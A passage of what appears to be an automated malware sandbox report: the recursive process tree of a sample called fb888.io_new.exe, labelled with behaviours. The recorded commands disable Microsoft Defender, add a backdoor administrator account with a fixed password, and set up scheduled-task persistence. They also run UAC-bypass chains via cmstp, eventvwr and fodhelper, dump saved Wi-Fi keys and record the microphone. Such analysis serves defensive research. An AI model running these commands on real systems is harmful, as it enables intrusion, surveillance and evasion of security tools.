        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7084
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6372
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:6424
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070440351505.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4712
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:4668
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:2492
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:4968
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7524
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070387832157.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:120
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:4476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    PID:4644
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:1964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4516
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:7268
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070390842578.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9312

C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
1⤵
PID:5016
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4152
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\eed8c6bd-7d8d-4a1b-aa60-ad7db7d999c8.inf
  2⤵
  PID:3736
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:3324
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2348
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4784
- - C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
    "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
    3⤵
    PID:5960
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3248
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c9b5e38f-ece5-48b0-b3b4-9d88bf6cd26c.inf
      4⤵
      PID:5252
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3192
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2704
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4920
    - - C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        5⤵
        
        PID:6660
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6824
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f4097180-e665-4877-9702-85d8b670ec74.inf
        6⤵
        
        PID:6864
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:1360
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6636
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:7000
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        7⤵
        
        PID:3668
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8132
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e9ee6075-597a-4732-9d8b-d3b7783f8962.inf
        8⤵
        
        PID:7232
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6484
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:1780
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6412
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        9⤵
        
        PID:8476
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9000
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f3d6fe97-356e-43fe-9daa-abe87e0aa92c.inf
        10⤵
        
        PID:8680
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7592
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8784
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        11⤵
        
        PID:9604
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9744
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3837f5bf-a7a9-47f7-9de1-d39ba50d2bbb.inf
        12⤵
        
        PID:4628
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:8552
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:4880
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:10316
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        13⤵
        
        PID:10072
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11500
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\82902ee6-6bb3-46e6-846e-bfb476563e35.inf
        14⤵
        
        PID:11768
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:11892
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:12184
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:11756
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        15⤵
        
        PID:13020
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8704
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ea8f8da1-0859-46c9-9a27-65a6ae62e9b3.inf
        16⤵
        
        PID:10912
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:13444
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:13564
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:13612
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        17⤵
        
        PID:11400
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14996
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\15b8c98e-ab3d-445f-82ef-9d554e73d55f.inf
        18⤵
        
        PID:14464
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:13224
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:5692
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:14712
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        19⤵
        
        PID:14776
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14472
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fc9f0d14-abca-4633-8a4d-53a5dff7ff29.inf
        20⤵
        
        PID:15504
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:4408
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:13480
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:15916
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        21⤵
        
        PID:11868
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6284
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\00ea4fbc-0797-4f5d-91ba-c492ef44981b.inf
        22⤵
        
        PID:11512
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:6300
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:16252
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:13276
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        23⤵
        
        PID:16932
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17220
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a5ff2a7d-c59a-4f03-8480-36869fd73560.inf
        24⤵
        
        PID:17180
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:1144
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:17356
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:8560
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        25⤵
        
        PID:17428
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17536
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e8bd9de3-7116-4775-99ba-ca82c5a24e5c.inf
        26⤵
        
        PID:14648
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:9056
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:4348
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:6364
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        27⤵
        
        PID:6284
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18624
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\45d87bcb-1fa7-40bb-913a-737551da94f4.inf
        28⤵
        
        PID:19048
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        28⤵
        
        PID:19172
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        29⤵
        
        PID:19328
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        28⤵
        
        PID:12272
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        29⤵
        
        PID:19256
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13364
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\997dde66-cdcb-41fb-ab26-562d9175c007.inf
        30⤵
        
        PID:18408
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        30⤵
        
        PID:18820
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        31⤵
        
        PID:16520
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        30⤵
        
        PID:14276
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        31⤵
        
        PID:19504
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9136
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\eff30626-2ebb-4ef9-97f8-7decbe7fa35b.inf
        32⤵
        
        PID:20168
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        32⤵
        
        PID:10500
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        33⤵
        
        PID:11476
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        32⤵
        
        PID:20148
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        33⤵
        
        PID:18152
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13452
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fa1968ac-c35b-4deb-bb9d-987bbfd2544d.inf
        34⤵
        
        PID:16072
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        34⤵
        
        PID:20644
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        35⤵
        
        PID:20832
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        34⤵
        
        PID:20724
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        35⤵
        
        PID:20516
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17876
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8281f1a4-5501-4c60-a25f-fa6ecdbac6d6.inf
        36⤵
        
        PID:1184
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        36⤵
        
        PID:12644
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        37⤵
        
        PID:11404
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        36⤵
        
        PID:18576
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        37⤵
        
        PID:22336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        36⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:20632
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        36⤵
        
        PID:22168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        34⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:20732
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        34⤵
        Creates a new local user account
        
        PID:4900
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        35⤵
        
        PID:11676
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        34⤵
        
        PID:21416
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        35⤵
        
        PID:1412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        
        PID:16272
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        32⤵
        
        PID:19840
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        33⤵
        Creates a new local user account
        
        PID:16908
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        32⤵
        
        PID:19744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        33⤵
        
        PID:21260
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        32⤵
        
        PID:17864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        
        PID:18360
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        30⤵
        
        PID:7416
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        31⤵
        
        PID:20260
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        30⤵
        
        PID:20312
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        31⤵
        
        PID:15620
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        30⤵
        
        PID:17128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071515377802.wav')"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11348
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        30⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        28⤵
        Disables one or more Microsoft Defender components
        
        PID:17760
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        28⤵
        Creates a new local user account
        
        PID:18980
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        29⤵
        Creates a new local user account
        
        PID:14392
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        28⤵
        
        PID:16228
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        29⤵
        
        PID:14652
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        28⤵
        
        PID:20420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071407841193.wav')"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:20796
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:21136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        
        PID:17864
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        26⤵
        Creates a new local user account
        
        PID:14224
        
        C:\Windows\system32\net1.exe
        
